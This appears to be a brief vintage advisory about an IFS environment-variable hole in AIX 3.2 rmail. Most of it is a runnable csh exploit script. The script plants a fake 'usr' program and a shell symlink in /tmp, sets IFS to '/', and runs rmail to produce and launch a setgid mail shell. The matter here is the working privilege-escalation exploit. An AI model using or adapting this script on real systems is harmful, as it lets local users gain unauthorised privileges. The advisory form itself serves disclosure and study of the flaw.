COMMAND
IFS
SYSTEMS AFFECTED
AIX
PROBLEM
By changing the IFS enviroment variable to / setuid root programs
that use system() or popen() can be fooled into runing user
provided programs. Example:
#!/bin/csh
# IFS hole in AIX3.2 rmail gives egid=mail. Apr. 1994
# Setup needed files.
mkdir /tmp/.rmail
cd /tmp/.rmail
cat << EOF > usr
cp sh mailsh
chmod 2777 mailsh
EOF
chmod 777 usr
ln -s /bin/sh .
# Set PATH, IFS, and run rmail.
setenv PATH .:$PATH
setenv IFS /
echo "cheezy mail hack" | rmail joeuser@nohost.com
unsetenv IFS
rm -f usr sh # minor cleanup.
echo "Attempting to run sgid shell."
./mailsh